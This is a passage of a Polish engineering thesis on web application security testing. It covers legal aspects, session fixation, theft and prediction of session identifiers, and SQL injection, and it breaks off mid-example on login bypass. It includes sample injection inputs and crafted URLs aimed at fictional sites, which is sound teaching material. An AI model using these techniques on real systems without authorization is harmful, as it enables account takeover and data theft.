PRACA DYPLOMOWA INŻYNIERSKA...Kierunek: Informatyka Specjalność: Inżynieria Systemów...

Rok akademicki 2012/2013

Politechnika Warszawska

Wydział Elektroniki i Technik Informacyjnych

Instytut Informatyki

PRACA DYPLOMOWA INŻYNIERSKA

Maciej Dobrowolski

Testowanie bezpieczeństwa aplikacji internetowych

Opiekun pracy

mgr inż. Paweł Radziszewski

Ocena: .....................................................

................................................................

Podpis Przewodniczącego

Komisji Egzaminu Dyplomowego

Kierunek: Informatyka

Specjalność: Inżynieria Systemów Informatycznych

Data urodzenia: 1990.12.24

Data rozpoczęcia studiów: 2009.10.01

Życiorys

Urodziłem się 24 grudnia 1990 roku w Warszawie. W roku 2006 ukończyłem gimnazjum

przy Zespole Szkół nr 1 w Pruszkowie. Następnie kontynuowałem naukę w Liceum

Ogólnokształcącym im. Tadeusza Kościuszki w Pruszkowie. W 2009 roku rozpocząłem

studia dzienne na Wydziale Elektroniki i Technik Informacyjnych Politechniki Warszawskiej.

W toku studiów wybrałem specjalizację Inżynieria Systemów Informatycznych.

.......................................................

Podpis studenta

EGZAMIN DYPLOMOWY

Złożył egzamin dyplomowy w dniu .................................................................................. 20__ r

z wynikiem ..................................................................................................................................

Ogólny wynik studiów: ...............................................................................................................

Dodatkowe wnioski i uwagi Komisji: .........................................................................................

......................................................................................................................................................

......................................................................................................................................................

STRESZCZENIE

Niniejsza praca jest poświęcona testom zabezpieczeń aplikacji internetowych, przedstawiono

w niej typowe podatności oraz sposoby ich wykorzystania. Częścią praktyczną pracy jest

dołączony system symulacji ataków, który pozwala na wykorzystanie większości z

opisywanych w pracy podatności na fikcyjnych stronach internetowych. System został

podzielony na dwanaście modułów, z których każdy skupia się na innej podatności. W pracy

opisane zostały także dołączone do systemu aplikacje pozwalające na automatyzację testów

zabezpieczeń aplikacji internetowych.

Słowa kluczowe: Bezpieczeństwo, Aplikacje internetowe, Testowanie, SQL, XSS, CSRF

Web Application Security Testing

This diploma thesis is dedicated to web application security testing, there are presented

typical vulnerabilities and their usage. As a part of the practical work, attack-simulation

system is included. It allows to use most of described vulnerabilities against fictional

websites. The system has been divided into twelve modules, each of which focuses on a

different vulnerability. Additionally, description of a few included to system applications,

useful for automated security testing of web applications is presented.

Keywords: Security, Web applications, Testing, SQL, XSS, CSRF

1

Spis treści

Słownik pojęć ......................................................................................................................................................... 2

1 Wstęp ............................................................................................................................................................. 3

1.1 Aspekty prawne ...................................................................................................................................... 3

2 Rodzaje podatności....................................................................................................................................... 7

2.1 Zarządzanie sesjami użytkowników ....................................................................................................... 7

2.1.1 Ustalanie identyfikatora sesji ............................................................................................................ 9

2.1.2 Kradzież identyfikatora sesji ........................................................................................................... 10

2.1.3 Odgadywanie identyfikatora sesji ................................................................................................... 11

2.2 Bazy danych ......................................................................................................................................... 13

2.2.1 Wykrywanie podatności na atak typu Wstrzyknięcie SQL ............................................................. 14

2.2.2 Omijanie logowania – Wstrzyknięcie SQL ..................................................................................... 15

2.2.3 Inne operacje na bazie danych – Wstrzyknięcie SQL ..................................................................... 17

2.3 Ataki typu cross-site ............................................................................................................................. 20

2.3.1 Odbite XSS...................................................................................................................................... 20

2.3.2 Składowane XSS ............................................................................................................................. 23

2.3.3 DOM-based XSS ............................................................................................................................. 23

2.3.4 Wykorzystanie ataków XSS ............................................................................................................ 24

2.3.5 Request forgery ............................................................................................................................... 25

2.4 Ataki na przeglądarkę .......................................................................................................................... 29

2.4.1 Zdalne zapisywanie naciśnięć klawiszy w przeglądarce Firefox .................................................... 29

2.4.2 Poznanie historii odwiedzonych stron ............................................................................................. 31

2.5 Wyszukiwarka Google ......................................................................................................................... 31

2.6 Dobrze znane luki aplikacji internetowych .......................................................................................... 33

3 Narzędzia i automatyzacja testów ............................................................................................................. 35

3.1 Nikto .................................................................................................................................................... 35

3.2 Fimap ................................................................................................................................................... 37

3.3 SQLiX .................................................................................................................................................. 38

4 Omówienie projektu ................................................................................................................................... 41

4.1 Opis projektu ....................................................................................................................................... 41

4.1.1 Ćwiczenia dołączone do SSA .......................................................................................................... 41

4.2 Wymagania .......................................................................................................................................... 45

4.2.1 Wymagania niefunkcjonalne ........................................................................................................... 46

4.2.2 Wymagania funkcjonalne ................................................................................................................ 49

4.3 Decyzje projektowe .............................................................................................................................. 54

4.3.1 Architektura systemu ....................................................................................................................... 54

4.4 Implementacja ..................................................................................................................................... 56

4.4.1 System Symulacji Ataków .............................................................................................................. 56

4.4.2 System operacyjny typu „Live-CD” ................................................................................................ 62

5 Podsumowanie ............................................................................................................................................ 65

6 Bibliografia ................................................................................................................................................. 67

2

Słownik pojęć

Pojęcie Opis

JS Java Script – język skryptowy często stosowany na stronach

WWW.

XSS Cross-Site Scripting (patrz 2.3).

CSRF Cross-Site Request Forgery (patrz. 2.3.5).

OSRF On-Site Request Forgery (patrz. 2.3.5).

SQL Injection Wstrzyknięcie kodu SQL (patrz 2.2)

Live-CD System operacyjny zainstalowany na nośniku z własnym

programem rozruchowym, umożliwiającym uruchomienie go w

pamięci RAM, bez potrzeby instalowania na dysku twardym

komputera.

3

1 Wstęp

Codziennie setki milionów osób korzystają z Internetu, zgodnie z raportem firmy Sandvine

[1] za pierwszą połowę roku 2012 protokół HTTP wygenerował nieco ponad 16% całego

ruchu internetowego. Użytkownicy Internetu nie zdają sobie sprawy z niebezpieczeństwa w

nim drzemiącego. Utrata nie tylko prywatności, ale także pieniędzy, czy też tożsamości, to w

Internecie codzienność.

Mając na uwadze wspomniany fakt, organizacje, które udostępniają swoje zasoby przez

protokół HTTP, zwracają uwagę na to, że nawet kilka godzin niedostępności w Internecie,

bądź też wyciek danych może skutkować ogromnymi stratami finansowymi. Coraz

popularniejsze stają się testy penetracyjne aplikacji internetowych, a wraz ze wzrostem

stopnia skomplikowania tych aplikacji, pojawia się także nowa specjalizacja w testach

penetracyjnych – zajmująca się tylko technologiami webowymi.

Testy zabezpieczeń odgrywają bardzo istotną rolę w procesie testowania samej aplikacji

internetowej. Atakujący mogą uzyskać dostęp do takich elementów jak system operacyjny

maszyny, bądź też baza danych, z której korzysta aplikacja. W przypadku takiej

kompromitacji mogą wyciec prywatne dane, w tym hasła użytkowników, ale także inne treści,

które nie są przeznaczone dla nieupoważnionych osób – skutki mogą być katastrofalne.

W Internecie można znaleźć wiele różnych systemów, które mogą ułatwić poznanie

praktycznej strony testów zabezpieczeń aplikacji internetowych, jednak brakuje pozycji

polskojęzycznych oraz takich, które są przeznaczone dla użytkowników z podstawową

wiedzą z omawianego tematu. W związku z tym, celem niniejszej pracy jest stworzenie

narzędzia dydaktycznego, które pozwoli przetestować podstawowe podatności aplikacji

internetowych w praktyce.

1.1 Aspekty prawne

Osoby, które chcą poznać tajniki testowania zabezpieczeń nie tylko w teorii, ale także w

praktyce, mają bardzo ograniczone pole działania, ponieważ sprawdzając swoją wiedzę w

sieci Internet są narażone na liczne konsekwencje prawne. Kodeks karny przewiduje cały

katalog przepisów dotyczących naruszeń w sferze informatycznej. Przewiduje on najwyższą

karę w postaci 8 lat więzienia za przestępstwa związane z tematyką pracy:

Art. 267. § 1. Kto bez uprawnienia uzyskuje dostęp do informacji dla niego

nieprzeznaczonej, otwierając zamknięte pismo, podłączając się do sieci

4

telekomunikacyjnej lub przełamując albo omijając elektroniczne, magnetyczne,

informatyczne lub inne szczególne jej zabezpieczenie, podlega grzywnie, karze

ograniczenia wolności albo pozbawienia wolności do lat 2.

§ 2. Tej samej karze podlega, kto bez uprawnienia uzyskuje dostęp do całości lub

części systemu informatycznego.

§ 3. Tej samej karze podlega, kto w celu uzyskania informacji, do której nie jest

uprawniony, zakłada lub posługuje się urządzeniem podsłuchowym, wizualnym albo

innym urządzeniem lub oprogramowaniem.

§ 4. Tej samej karze podlega, kto informację uzyskaną w sposób określony w § 1-3

ujawnia innej osobie.

Art. 268. § 1. Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa lub

zmienia zapis istotnej informacji albo w inny sposób udaremnia lub znacznie utrudnia

osobie uprawnionej zapoznanie się z nią, podlega grzywnie, karze ograniczenia

wolności albo pozbawienia wolności do lat 2.

§ 2. Jeżeli czyn określony w § 1 dotyczy zapisu na informatycznym nośniku danych,

sprawca podlega karze pozbawienia wolności do lat 3.

§ 3. Kto, dopuszczając się czynu określonego w § 1 lub 2, wyrządza znaczną szkodę

majątkową, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.

Art. 268a. § 1. Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa,

zmienia lub utrudnia dostęp do danych informatycznych albo w istotnym stopniu

zakłóca lub uniemożliwia automatyczne przetwarzanie, gromadzenie lub

przekazywanie takich danych, podlega karze pozbawienia wolności do lat 3.

§ 2. Kto, dopuszczając się czynu określonego w § 1, wyrządza znaczną szkodę

majątkową, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.

Art. 269. § 1. Kto niszczy, uszkadza, usuwa lub zmienia dane informatyczne o

szczególnym znaczeniu dla obronności kraju, bezpieczeństwa w komunikacji,

funkcjonowania administracji rządowej, innego organu państwowego lub instytucji

państwowej albo samorządu terytorialnego albo zakłóca lub uniemożliwia

automatyczne przetwarzanie, gromadzenie lub przekazywanie takich danych, podlega

5

karze pozbawienia wolności od 6 miesięcy do lat 8.

§ 2. Tej samej karze podlega, kto dopuszcza się czynu określonego w § 1, niszcząc

albo wymieniając informatyczny nośnik danych lub niszcząc albo uszkadzając

urządzenie służące do automatycznego przetwarzania, gromadzenia lub

przekazywania danych informatycznych.

Art. 269a. Kto, nie będąc do tego uprawnionym, przez transmisję, zniszczenie,

usunięcie, uszkodzenie, utrudnienie dostępu lub zmianę danych informatycznych, w

istotnym stopniu zakłóca pracę systemu komputerowego lub sieci teleinformatycznej,

podlega karze pozbawienia wolności od 3 miesięcy do lat 5.

Art. 269b. § 1. Kto wytwarza, pozyskuje, zbywa lub udostępnia innym osobom

urządzenia lub programy komputerowe przystosowane do popełnienia przestępstwa

określonego w art. 165 § 1 pkt 4, art. 267 § 3, art. 268a § 1 albo § 2 w związku z § 1,

art. 269 § 2 albo art. 269a, a także hasła komputerowe, kody dostępu lub inne dane

umożliwiające dostęp do informacji przechowywanych w systemie komputerowym lub

sieci teleinformatycznej, podlega karze pozbawienia wolności do lat 3.

§ 2. W razie skazania za przestępstwo określone w § 1, sąd orzeka przepadek

określonych w nim przedmiotów, a może orzec ich przepadek, jeżeli nie stanowiły

własności sprawcy. [2]

W treści kodeksu karnego można dostrzec wyraźną różnicę pomiędzy zwykłym uzyskaniem

dostępu do atakowanej maszyny, a ingerencję w jej działanie, jednak często próba uzyskania

dostępu może wiązać się z zawieszeniem zdalnego systemu. Dlatego praca testera

bezpieczeństwa jest dość ryzykownym zajęciem i zawsze, przed podjęciem jakichkolwiek

działań, powinien się on upomnieć o stosowny dokument upoważniający go do

przeprowadzenia testu. Dokument, o którym mowa określa się mianem dozwolonego zakresu

działań (ang. Authorized Scope) i jest to jedyny dokument, dzięki któremu można nie pójść do

więzienia, czyli uniknąć kary.

Dozwolony zakres działań powinien zostać podpisany przez zleceniodawcę i zawierać dane

dotyczące adresów IP oraz aplikacji, do których ataku daje upoważnienie. Dokument

6

powinien zostać dostarczony wraz z dokładnym zakresem prac, który może obejmować tylko

zbadanie podatności, albo też wykorzystanie ich i dalszą eskalację włamania. Może się

zdarzyć tak, że zleceniodawca nie ujawni w dokumencie adresów IP serwerów, na których

uruchomione są aplikacje, które są jego własnością, a zaznaczy tylko, że atakujący ma prawo

do ataku na wszystkie posiadane przez niego serwery, co bardziej przypomina realne warunki

ataku. Tester bezpieczeństwa powinien poradzić sobie ze zdobyciem niezbędnych adresów

oraz ich późniejszą weryfikacją, w celu sprawdzenia, czy oby na pewno należą one do klienta

i leżą w dozwolonym zakresie jego działań, jednak w razie wątpliwości ma on prawo

skontaktować się ze zleceniodawcą i poprosić o wewnętrzną weryfikację – bezpieczeństwo

testera jest najważniejsze.

7

2 Rodzaje podatności

Wśród wektorów ataków na strony internetowe można wyróżnić kilka najpopularniejszych,

poniżej zostały przedstawione ich opisy wraz z zarysem teoretycznym, wyjaśniającym jak

działają i przez co są spowodowane. Większość luk w zabezpieczeniach powstaje w wyniku

niedopatrzeń programistów, bądź też założeń, że dana sytuacja nigdy się nie wydarzy –

niestety jest to błędne założenie, w systemie produkcyjnym należy dopuścić każdą możliwość

i się przed nią stosownie zabezpieczyć. W niniejszym rozdziale zostaną omówione głownie

ataki, których możliwość zastosowania wynika z niedopatrzeń programistów.

2.1 Zarządzanie sesjami użytkowników

Zarządzanie sesjami jest krytycznym mechanizmem w większości aplikacji internetowych.

Pozwala ono na jednoznaczne zidentyfikowanie żądań użytkownika pośród wielu innych oraz

przechowywanie danych, które świadczą o jego stanie interakcji z aplikacją.

Z racji odgrywania głównej roli w zabezpieczeniu konta użytkownika, mechanizm

zarządzania sesją jest często głównym celem ataku – jeżeli włamywacz może naruszyć

elementy sesji, może także obejść mechanizmy logowania i podszywać się pod dowolnego

użytkownika (nawet administratora), nie znając nawet jego danych autentykacyjnych.

Pierwsze dokumenty opisujące protokół HTTP sięgają roku 1991, kiedy jeszcze nikt nie

myślał o tym, jak szybko rozwinie się sieć internetowa i do jak zaawansowanych funkcji

będzie używany ten protokół. Strony internetowe miały mieć statyczną zawartość i protokół

miał służyć tylko do ich publikowania. Nie było potrzeby przechowywania stanu transakcji,

ponieważ każda z nich miała być autonomiczna – użytkownik miał żądać stronę, a serwer

miał ją udostępnić. Protokół został zaprojektowany z tą myślą i dlatego jest bezstanowy, co

oznacza, że opiera się na prostym modelu zapytanie-odpowiedź, w którym każda para

wiadomości jest niezależną transakcją.

Dziś duża część stron internetowych może być postrzegana jako aplikacje internetowe, można

się na nich zarejestrować i mieć własne konto, pozwalają kupować przedmioty, dokonywać

płatności internetowych, a nawet doglądać swoich spraw w rządowych organizacjach. Do

zaimplementowania tak złożonych mechanizmów zaistniała potrzeba przechowywania stanu

transakcji, pojawił się koncept sesji.

Najbardziej oczywistym zastosowaniem sesji jest obsługa logowania i utrzymanie jego stanu

pomiędzy kolejnymi stronami przeglądanymi w aplikacji, bez nich użytkownik musiałby

8

wpisywać na każdej kolejnej stronie swoje dane, co nie było by ani wygodne, ani bezpieczne.

Dlatego po zalogowaniu tworzona jest sesja, która jednoznacznie reprezentuje użytkownika,

któremu udało się przejść przez proces logowania i trwa ona aż do jej zamknięcia, bądź też

wygaśnięcia z powodu długiego czasu nieaktywności.

Oprócz najbardziej oczywistego zastosowania, sesje są jeszcze wykorzystywane w miejscach,

gdzie nie trzeba się logować. Dobrym przykładem może być sklep internetowy, w którym

można dodać kolejne produkty do wirtualnego koszyka, którego stan jest zachowywany

pomiędzy przejściami na kolejne strony sklepu.

Najprostszym i najbardziej popularnym sposobem identyfikacji użytkownika jest przypisanie

mu unikalnego identyfikatora (znacznika). Przy każdym kolejnym żądaniu użytkownik

przesyła swój znacznik, pozwalając aplikacji się zidentyfikować. Często stosowanym

sposobem na przesłanie identyfikatora sesji jest używanie mechanizmu ciasteczek (ang.

cookies). Jest to mała porcja danych przesłana przez stronę internetową i zapisana w

przeglądarce internetowej. Kiedy użytkownik przegląda kolejną podstronę w danej domenie,

dane z ciasteczka są przesyłane w żądaniu HTTP z powrotem do strony.

Przesyłanie identyfikatora sesji może się również odbywać przy pomocy pól ukrytych na

stronie internetowej, co jest niewygodnym rozwiązaniem, ponieważ przy każdym przejściu na

kolejną podstronę użytkownik musi przesyłać formularz, co komplikuje implementację

aplikacji.

Kolejnym sposobem jest parametryzowanie adresów URL, jeżeli użytkownik przechodzi na

kolejne podstrony to do adresu strony doklejany jest parametr będący identyfikatorem sesji

(metoda przesyłania parametrów GET).

Oczywiście na rynku nie brakuje rozwiązań hybrydowych, które wykorzystują jednocześnie

wszystkie z tych mechanizmów, czyniąc identyfikator sesji trudnym do odkrycia.

Alternatywą dla sesji mogą być dwie technologie:

HTTP Authentication – aplikacje używające tego mechanizmu nie muszą korzystać

z sesji, przy każdym kolejnym żądaniu przeglądarka internetowa dołącza specjalny

nagłówek Authorization, po którym następują zakodowane dane do logowania. W

najprostszej wersji określonej mianem Basic. Tworzony jest ciąg znaków będący

konkatenacją nazwy użytkownika, średnika i hasła. Tak uzyskany ciąg znaków jest

9

kodowany przy użyciu base64 i wysyłany przy każdym żądaniu strony. Nietrudno

zauważyć, że takie rozwiązanie nie gwarantuje bezpieczeństwa, ponieważ kod base64

bardzo łatwo odwrócić i uzyskać z powrotem dane do logowania (celem zastosowania

base64 nie było bezpieczeństwo, ale wyeliminowanie możliwości pojawienia się

znaków, które mogły by się źle przetwarzać). Z tego powodu autoryzacja przy użyciu

HTTP Basic Authorization powinna służyć głównie do stron zabezpieczonych

protokołem HTTPS. Inny wariant HTTP Authentication - Digest jest bardziej

bezpieczny, ponieważ oferuje tworzenie skrótów md5, które nie są łatwo-odwracalne.

Wadą tej technologii jest fakt, że bardzo mało przeglądarek internetowych potrafi się

wylogować z tak rozpoczętej transakcji – z reguły należy zamknąć przeglądarkę.

Stanowe mechanizmy bezsesyjne – niektóre aplikacje przechowują wszystkie

niezbędne dane po stronie klienta. Do takich danych mogą należeć: nazwa

użytkownika, hasło i inne ustawienia zależne od aplikacji. Dane przechowywane po

stronie klienta są oczywiście w ciasteczkach, chociaż zdarzają się aplikacje, które dane

te ukrywają w polach formularzy. Zastosowanie takiego mechanizmu wymaga to

używania dodatkowej ochrony danych w postaci HTTPS.

Jeżeli atakującemu uda się w jakiś sposób przejąć sesję innego zalogowanego użytkownika, to

w zależności od aplikacji z której korzysta dany użytkownik, atakujący może podszyć się pod

niego i uzyskać dostęp do prywatnych danych należących do prawowitego właściciela, lub

nawet podejmować w jego imieniu pewne działania.

2.1.1 Ustalanie identyfikatora sesji

Ustalanie identyfikatora sesji (ang. session fixation) to prosty atak pozwalający atakującemu

przejąć sesję użytkownika w dość specyficzny sposób. Polega on na przypisaniu,

wygenerowanego przez atakującego, identyfikatora sesji do sesji prawowitego użytkownika.

Atak może być skuteczny tylko wtedy, kiedy dana aplikacja nie weryfikuje przydzielanych

identyfikatorów sesji, a jedynie nadaje im losowe, bądź sekwencyjne symbole. Jeżeli po

podmianie identyfikatora sesji na własny np. 1234567890, aplikacja zachowa identyfikator i

pozwoli się zalogować, zachowując uprzednio nadany identyfikator to jest podatna na atak.

Wystarczy zmusić danego użytkownika, do zalogowania się na swoje konto, po wejściu na

stronę poprzez spreparowany adres URL, bądź formularz.

10

Poniżej przedstawiono kilka technik pozwalających wykonać atak na aplikacje przechowujące

identyfikatory sesji w wymienionych miejscach, warunkiem koniecznym do wykonania ataku

jest podatność danej aplikacji na atak typu Ustalenie identyfikatora sesji:

Identyfikator sesji jako argument URL

Należy wysłać ofierze adres URL ze spreparowanym identyfikatorem sesji, np. gdy dobry

adres wygląda następująco:

http://adres-strony.pl/?SID=LPynlo5X2Ii1GidNmwaufTZAk1jdmNnI

Należy podmienić identyfikator „LPynlo5X2Ii1GidNmwaufTZAk1jdmNnI” na własny np.

„ToJestAtakSessionFixation”:

http://adres-strony.pl/?SID=ToJestAtakSessionFixation

Gdy ofiara zaloguje się na swoje konto, to z dużą dozą prawdopodobieństwa atakujący będzie

mógł wejść pod ten sam adres (z wcześniej ustalonym identyfikatorem sesji) będąc już

zalogowanym jako ofiara.

Identyfikator sesji jako dane zapisane w ciasteczku

Ta technika wymaga od atakującego użycia jeszcze jednego typu ataku – XSS, należy ukryć

złośliwy kod podmieniający wartość ciasteczka (funkcja w JavaScript - document.cookie)

strony znajdującej się w obrębie aplikacji, z której korzysta ofiara. Następnie ofiara zostanie

wylogowana (identyfikator sesji zmienił się) i po ponownym zalogowaniu się, do wcześniej

ustalonego identyfikatora sesji przypisze się aktywna sesja użytkownika.

2.1.2 Kradzież identyfikatora sesji

Podatność na kradzież identyfikatora sesji występuje w aplikacjach, które nie weryfikują

dodatkowo klientów, którzy wysyłają swoje identyfikatory sesji w żądaniu. Nowoczesne i

bezpieczne aplikacje internetowe nie tylko sprawdzają czy dany identyfikator sesji jest

poprawny, ale także czy poprzednie żądanie pochodzi z tego samego źródła. Weryfikacja taka

może zostać przeprowadzona na kilka sposobów – przeglądarki internetowe wysyłają szereg

wiadomości o sobie oraz o maszynie na jakiej działają. Oprócz tych danych, serwisy

internetowe mają także do dyspozycji adresy IP klientów, (chociaż w dobie pustej puli

wolnych adresów IPv4 i dużego rozpowszechnienia technologii NAT (maskarada, ang.

Network Address Translation) nie jest to zbyt dobry wyznacznik.

11

Jeśli aplikacja internetowa nie stosuje wyżej opisanej podwójnej weryfikacji to jest podatna

na atak typu kradzież identyfikatora sesji. Scenariusz ataku jest bardzo podobny do „Ustalanie

identyfikatora sesji” z różnicą, iż to nie atakujący narzuca identyfikator ofierze, ale ofiara

sama zdobywa prawidłowy identyfikator sesji, a następnie przesyła go atakującemu.

Istnieje wiele sposobów na przeprowadzenie pomyślnej kradzieży znacznika sesji, jednak sam

identyfikator może znajdować się w wielu miejscach – dlatego atakujący powinien wiedzieć

nie tylko czego szukać, ale i gdzie.

Jeśli miejsce przechowywania identyfikatora sesji jest znane, to w zależności od niego

atakujący może przygotować atak XSS i wykraść znacznik. W skrajnych przypadkach

pomaga zastosowanie socjotechniki, co wymaga jednak kontaktu z ofiarą.

2.1.3 Odgadywanie identyfikatora sesji

Zanim identyfikator sesji zostanie przypisany do danego użytkownika – aplikacja musi go

wygenerować. Do generacji można użyć kilku sposobów:

1. Uzależnić identyfikator od pewnych danych (np. dane użytkownika).

2. Wylosować pewną liczbę znaków, dostatecznie długą, aby powtórzenie miało małą

szansę wystąpienia.

3. Połączyć generację ciągu pseudolosowych znaków z pewnymi danymi użytkownika.

Po przypisaniu identyfikatora należy w jakiś sposób sprawdzać, czy kolejne żądania HTTP z

danym znacznikiem sesji są przypisane do jakiegoś użytkownika i wykonywać w jego

kontekście pewne akcje. Z tej czynności wynika konieczność przechowywania pewnych

danych po stronie serwera (na przykład znacznik sesji i identyfikator użytkownika).

Jednak jeśli programista uzależni generację identyfikatora sesji tylko od danych użytkownika

(sposób pierwszy) to w praktyce nie musi on przechowywać w bazie identyfikatorów sesji.

Atak opisywany w tym podrozdziale zakłada generację znaczników sesji w sposób, który

został oznaczony jedynką.

Przewidzenie identyfikatora sesji innego użytkownika może być zadaniem nietrywialnym,

jest to zadanie manualne i wymagające podejścia detektywistycznego. Należy zbadać

dokładnie na jakiej zasadzie generowane są znaczniki i gdy uda się rozpracować ten

mechanizm – atak będzie przeprowadzony z sukcesem.

12

Dokładna analiza problemu generowania identyfikatorów sesji leży poza zakresem tej pracy,

jednak istnieje kilka uniwersalnych kroków, które mogą odnieść pożądany skutek:

1. Należy na podstawie kolejnych zapytań wydedukować, gdzie przechowywany jest

identyfikator sesji – mogą to być trzy miejsca (czasami występują jednocześnie, a

identyfikator sesji może być ich konkatenacją):

a. Parametr zawarty w adresie URL.

b. Ukryte pole formularza na stronie.

c. Zawartość ciasteczek.

2. Krok powinien zostać wykonany iteracyjnie dla każdego pola formularza np.

rejestracyjnego (podczas tworzenia nowego konta):

a. Należy stworzyć kilka kont w badanej aplikacji i przechwycić ich znaczniki,

każda rejestracja powinna zostać wykonana przy podaniu podobnych danych,

jednak różniących się od siebie jedną literą np. AAAA, AAAB, CAAA.

b. Należy przeanalizować znaczniki pod kątem występowania podobnych

danych.

c. Jeżeli znaczniki mają wspólne sekwencje znaków to można sądzić, iż znacznik

nie jest kodowany, a jedynie zapisany przy użyciu pewnej funkcji np. XOR,

bądź też zapisany jako kod ASCII w reprezentacji znaków heksadecymalnych.

Jeżeli zaś dane są za każdym razem inne to można sądzić, że zostało

zastosowane kodowanie. Popularną metodą kodowania jest zapis w base64 –

ciąg jest wtedy zakończony znakiem „=”.

3. Gdy uda się doprowadzić do znajomości chociażby części metody generowania

znacznika, to być może jest to wystarczająca wiedza do przeprowadzenia ataku,

należy podmienić odpowiednie pola danymi z innego zarejestrowanego przez testera

konta.

4. Jeżeli poprzedni krok poskutkował zmianą zalogowanego użytkownika na konto, do

którego dane zostały podane w znaczniku to atak został przeprowadzony z sukcesem.

W znacznikach często występują takie ciągi znaków jak:

Stałe wartości

Wartości zależne od czasu

Rosnące sekwencje

Dane użytkownika (np. część nazwy użytkownika).

13

Uwaga

Duże serwisy coraz częściej implementują dodatkowe zabezpieczenia, takie jak sprawdzanie

adresu IP przy kolejnych żądaniach, jeśli się on zmieni, to następuje wylogowanie.

2.2 Bazy danych

W dzisiejszych czasach niemal wszystkie aplikacje internetowe korzystają z baz danych.

Większość tych aplikacji musi przechowywać dane, które przetwarza, bądź też po prostu

wyświetla. W wielu przypadkach baza danych odgrywa istotną rolę w kierowaniu logiką

aplikacji, są w niej przetrzymywane ustawienia aplikacji, dane kont użytkowników,

uprawnienia i wiele innych ważnych danych, które niejako sterują aplikacją.

Jeżeli atakujący jest w stanie wpłynąć na współpracę aplikacji z bazą danych, tak aby

odczytać inne niż zamierzone dane, bądź też zmodyfikować dane wpisy, to zwykle może

także ominąć system zabezpieczeń.

Atakujący często nie chcą uzyskać dostępu do panelów administracyjnych, lub innych kont –

cennym łupem okazują się także zrzuty tabel przechowujących dane użytkowników takie jak

nazwa użytkownika, skrót hasła, adres email. Na nielegalnych forach zajmujących się

tematyką bezpieczeństwa komputerowego można co jakiś czas znaleźć oferty sprzedaży

konkretnych danych związanych z jednym użytkownikiem, jak i całe zrzuty tabel. Jak się

okazuje, duża część użytkowników Internetu korzysta z tych samych haseł w wielu serwisach

internetowych, dlatego złamanie skrótu hasła może okazać się furtką do dalszej eskalacji

włamania.

Najpopularniejszym atakiem, który umożliwia dostęp do bazy danych, jest niewątpliwie

Wstrzyknięcie SQL (ang. SQL Injection). Atak polega na odpowiedniej modyfikacji

zapytania, które aplikacja stosuje do bazy danych, tak, aby umieścić tam swoje polecenia i

wykonywać dowolne operacje na bazie danych.

Omawiany atak ma kilka wad – przede wszystkim często nie jest znany silnik bazy danych, z

której korzysta aplikacja. Co więcej, atakujący nie wie jakie tabele może w znaleźć w bazie.

Atak Wstrzyknięcie SQL i jego wykorzystanie zostanie w tym rozdziale.

14

2.2.1 Wykrywanie podatności na atak typu Wstrzyknięcie SQL

Najprostszym sposobem na wykrycie podatności typu Wstrzyknięcie SQL jest postępowanie

według poniższego algorytmu:

1. Wejść na stronę internetową na której działa aplikacja.

2. Znaleźć wszystkie pola (także ukryte), które są wysyłane w żądaniu do aplikacji

(zarówno metodą POST, jak i GET).

3. Zastanowić się, które ze znalezionych pól są wykorzystywane do zapytań do bazy

danych, jaki jest cel tego zapytania i jak może ono wyglądać.

4. Dla każdego wybranego w poprzednim kroku pola wykonać następujące kroki:

a. Wpisać wartość, która może powodować błąd w składni zapytania (np. znak ‘

).

b. Spróbować znaleźć anomalie w odpowiedzi aplikacji i zastanowić się, czy

mogą one być skutkiem poprzedniego kroku i czy można je wykorzystać.

5. Jeżeli znaleziono pola, których modyfikacja odpowiednią wartością powoduje

anomalie w odpowiedzi to możliwe, że aplikacja jest podatna na ten typ ataku.

Dla przykładu, na fikcyjnej stronie internetowej wybieranie artykułów, które czyta jej

użytkownik polega na zmianie identyfikatora id w adresie URL (żądanie z parametrem GET)

strony, czyli:

http://strona-z-artykulami.cc/czytajartykul.php?id=22

Identyfikator aktualnie czytanego artykułu to 22, adresem do innego artykułu (np. o numerze

534) może być:

http://strona-z-artykulami.cc/czytajartykul.php?id=534

Anomalią w działaniu aplikacji może być zastąpienie identyfikatora 534 wyrażeniem

matematycznym „533+1”. Jeżeli aplikacja wyświetli ten sam artykuł, to znaczy ze istnieje

podatność typu Wstrzyknięcie SQL i jest bardzo prawdopodobne, że uda się ją wykorzystać.

Kolejnym testem może być dopisanie do identyfikatora wyrażenia, które zawsze jest

prawdziwe, zachowując przy tym poprawną formę zapytania SQL:

http://strona-z-artykulami.cc/czytajartykul.php?id=534’ AND ‘1’=’1

15

Jeżeli ponownie został wyświetlony ten sam artykuł, to także można mieć pewność, że

podatność istnieje i na pewno uda się ją wykorzystać.

Algorytm opisuje sprawdzanie każdego pola po kolei, dzieje się tak dlatego, że zależnie od

konwencji przyjętej przez programistę, często każde pole walidowane jest oddzielnie –

możliwe, że nawet jeżeli programista waliduje treść pól, to mógł zapomnieć o jednym z nich.

2.2.2 Omijanie logowania – Wstrzyknięcie SQL

Jeśli logika aplikacji, odpowiedzialna za autentykacje użytkownika, jest zależna od wyniku

zapytania zadanego bazie danych, to jeśli atakujący mógłby odpowiednio zmienić zapytanie,

to mógłby także ominąć zabezpieczenia i zalogować się na dowolne konto. Poniżej

przedstawiono przykład zapytania, które pewna aplikacja stosuje do bazy danych, aby

sprawdzić, czy użytkownik podał dobre dane do logowania.

SELECT user_id FROM users WHERE user_login = ‘Administrator’ AND

user_password = ‘dc0c95554435eb1e82c1bb7b8b40a980’

Powyższe zapytanie jest wynikiem algorytmu:

1. Pobierz dane wpisane przez użytkownika.

2. Przygotuj szablon zapytania:

SELECT user_id FROM users WHERE user_login = ‘%1’ AND user_password =

‘%2’

3. Zastąp %1 loginem użytkownika.

4. Zastąp %2 skrótem hasła (MD5) użytkownika.

Jeżeli takie zapytanie zwróci niepusty wynik, to znaczy, że taki użytkownik istnieje w bazie

danych i jego dane do logowania są dobre, dlatego zaraz po tym następuje nadanie

użytkownikowi odpowiednich praw.

Znając podstawy języka SQL można wprowadzić pewną zmianę do szablonu zapytania, tak

aby zapytanie działało inaczej.

16

W omawianym przykładzie pole oznaczone symbolem %2 nie nadaje się do modyfikacji,

ponieważ treść wpisana przez użytkownika jest przetwarzana przez funkcję skrótu i zawiera

tylko określone znaki, jednak pole %1 daje dużo większe możliwości ataku. Jeżeli w

formularzu internetowym, wpisze:

